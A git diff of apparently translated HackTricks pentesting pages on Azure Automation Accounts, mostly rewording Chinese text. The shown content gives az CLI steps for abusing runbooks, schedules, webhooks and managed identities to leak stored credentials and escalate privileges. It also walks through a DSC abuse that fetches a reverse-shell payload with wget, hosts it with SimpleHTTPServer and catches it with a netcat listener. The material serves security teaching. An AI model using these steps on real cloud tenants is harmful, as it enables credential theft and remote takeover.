diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md index 4623df346..9e872db67 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md @@ -10,7 +10,7 @@ ../az-services/az-automation-accounts.md {{#endref}} -### Hybrid Workers +### Hybrid Workers Group 请记住,如果攻击者能够在混合工作者中执行任意运行簿(任意代码),他将**转移到虚拟机的位置**。这可能是本地机器、不同云的VPC,甚至是Azure虚拟机。 @@ -36,9 +36,9 @@ $runbook_variable $creds.GetNetworkCredential().username $creds.GetNetworkCredential().password' ``` -注意之前的脚本如何可以用来**泄露用户和密码**以及存储在自动化帐户中的**加密变量**的值。 +注意前面的脚本如何用于**泄露用户和密码**的凭据以及存储在自动化帐户中的**加密变量**的值。 -权限**`Microsoft.Automation/automationAccounts/runbooks/publish/action`**允许用户在自动化帐户中发布一个Runbook,以便应用更改: +权限**`Microsoft.Automation/automationAccounts/runbooks/publish/action`**允许用户在自动化帐户中发布Runbook,以便应用更改: ```bash az automation runbook publish \ --resource-group \ @@ -64,7 +64,7 @@ az automation runbook create --automation-account-name --resource ``` ### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` -此权限允许用户使用以下方式**将用户管理的身份分配**给自动化帐户: +此权限允许用户使用**分配用户管理的身份**到自动化帐户: ```bash az rest --method PATCH \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts/?api-version=2020-01-13-preview" \ @@ -82,7 +82,7 @@ az rest --method PATCH \ 通过权限 **`Microsoft.Automation/automationAccounts/schedules/write`**,可以在自动化帐户中创建一个每15分钟执行一次的新计划(不太隐蔽),使用以下命令。 -请注意,**计划的最小间隔为15分钟**,并且**最早开始时间为未来5分钟**。 +请注意,**计划的最小间隔为15分钟**,并且**最小开始时间为未来5分钟**。 ```bash ## For linux az automation schedule create \ @@ -104,7 +104,7 @@ az automation schedule create \ --frequency Minute \ --interval 15 ``` -然后,拥有权限 **`Microsoft.Automation/automationAccounts/jobSchedules/write`** 后,可以使用以下方法将调度程序分配给运行簿: +然后,使用权限 **`Microsoft.Automation/automationAccounts/jobSchedules/write`** 可以通过以下方式将调度程序分配给运行簿: ```bash az rest --method PUT \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \ @@ -129,7 +129,7 @@ az rest --method PUT \ 拥有权限 **`Microsoft.Automation/automationAccounts/webhooks/write`** 后,可以使用以下命令在自动化帐户中为 Runbook 创建一个新的 Webhook。 -请注意,您需要 **指明 webhook URI** 及要使用的令牌。 +请注意,您需要 **指明 webhook URI** 以及要使用的令牌。 ```bash az rest --method PUT \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//webhooks/?api-version=2018-06-30" \ @@ -194,7 +194,7 @@ az automation source-control create \ --token-type PersonalAccessToken \ --access-token github_pat_11AEDCVZ ``` -这将自动从Github存储库导入运行簿到自动化帐户,并且通过一些其他权限开始运行它们,**可能会提升权限**。 +这将自动从Github存储库导入运行手册到自动化帐户,并且通过一些其他权限开始运行它们,**可能会提升权限**。 此外,请记住,要使源控制在自动化帐户中工作,它必须具有角色为**`Contributor`**的托管身份,如果是用户管理的身份,则必须在变量**`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**中指定MI的客户端ID。 @@ -219,7 +219,7 @@ az rest --method PUT \ ``` ### 自定义运行时环境 -如果一个自动化账户使用自定义运行时环境,可能会有机会用一些恶意代码(如**后门**)覆盖运行时的自定义包。这样,每当使用该自定义运行时的运行簿被执行并加载自定义包时,恶意代码将被执行。 +如果一个自动化账户使用自定义运行时环境,可能可以用一些恶意代码(如**后门**)覆盖运行时的自定义包。这样,每当使用该自定义运行时的运行簿被执行并加载自定义包时,恶意代码将被执行。 ### 破坏状态配置 @@ -228,10 +228,10 @@ az rest --method PUT \ - 第一步 — 创建文件 **所需文件:** 需要两个 PowerShell 脚本: -1. `reverse_shell_config.ps1`:一个获取并执行有效载荷的期望状态配置(DSC)文件。可以从 [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1) 获取。 +1. `reverse_shell_config.ps1`:一个获取并执行有效负载的期望状态配置(DSC)文件。可以从 [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1) 获取。 2. `push_reverse_shell_config.ps1`:一个将配置发布到虚拟机的脚本,位于 [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1)。 -**定制:** 这些文件中的变量和参数必须根据用户的特定环境进行调整,包括资源名称、文件路径和服务器/有效载荷标识符。 +**定制:** 这些文件中的变量和参数必须根据用户的特定环境进行调整,包括资源名称、文件路径和服务器/有效负载标识符。 - 第二步 — 压缩配置文件 @@ -245,9 +245,9 @@ Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_she ```powershell Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx ``` -- 第 4 步 — 准备 Kali Box +- 第4步 — 准备Kali Box -Kali 服务器从 GitHub 仓库下载 RevPS.ps1 有效载荷。 +Kali服务器从GitHub仓库下载RevPS.ps1有效载荷。 ```bash wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1 ``` @@ -259,7 +259,7 @@ wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1 - 第 6 步 — 托管有效负载并设置监听器 -启动一个 Python SimpleHTTPServer 来托管有效负载,并使用 Netcat 监听器来捕获传入连接。 +启动 Python SimpleHTTPServer 来托管有效负载,并使用 Netcat 监听器来捕获传入连接。 ```bash sudo python -m SimpleHTTPServer 80 sudo nc -nlvp 443 diff --git a/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md b/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md index 0a51b3e77..2ce2857ae 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md +++ b/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md @@ -1,56 +1,54 @@ -# Az - 自动化账户 +# Az - Automation Accounts {{#include ../../../../banners/hacktricks-training.md}} ## 基本信息 -Azure 自动化账户是 Microsoft Azure 中的云服务,帮助**自动化任务**,如资源管理、配置和更新,跨 Azure 和本地环境。它们提供**运行簿**(执行的自动化脚本)、**计划**和**混合工作组**来运行自动化**作业**,实现基础设施即代码(IaC)和流程自动化,以提高管理云资源的效率和一致性。 +Azure Automation Accounts 是 Microsoft Azure 中的基于云的服务,帮助**自动化任务**,如资源管理、配置和更新,跨 Azure 和本地环境。它们提供**Runbooks**(执行的自动化脚本)、**计划**和**混合工作组**来运行自动化**作业**,实现基础设施即代码(IaC)和流程自动化,以提高管理云资源的效率和一致性。 ### 设置 -- **凭据**:密码仅在自动化账户内的运行簿中可访问,用于**安全存储用户名和密码**。 -- **变量**:用于存储可在运行簿中使用的**配置数据**。这也可以是敏感信息,如 API 密钥。如果变量是**加密存储**的,则仅在自动化账户内的运行簿中可用。 -- **证书**:用于存储可在运行簿中使用的**证书**。 +- **凭据**:密码仅在自动化帐户内的 Runbook 中可访问,用于**安全存储用户名和密码**。 +- **变量**:用于存储可在 Runbook 中使用的**配置数据**。这也可以是敏感信息,如 API 密钥。如果变量是**加密存储**的,则仅在自动化帐户内的 Runbook 中可用。 +- **证书**:用于存储可在 Runbook 中使用的**证书**。 - **连接**:用于存储与外部服务的**连接信息**。这可能包含**敏感信息**。 - **网络访问**:可以设置为**公共**或**私有**。 -## 运行簿与作业 +### Runbooks 和作业 -Azure 自动化中的运行簿是一个**自动执行任务的脚本**,在您的云环境中运行。运行簿可以用 PowerShell、Python 或图形编辑器编写。它们帮助自动化管理任务,如虚拟机管理、补丁或合规检查。 +Azure Automation 中的 Runbook 是一个**自动执行任务的脚本**,在您的云环境中运行。Runbooks 可以用 PowerShell、Python 或图形编辑器编写。它们帮助自动化管理任务,如 VM 管理、打补丁或合规检查。 -在**运行簿**中的**代码**可能包含**敏感信息**(如凭据)。 +在**Runbooks**中的**代码**可能包含**敏感信息**(如凭据)。 -转到 `Automation Accounts` --> `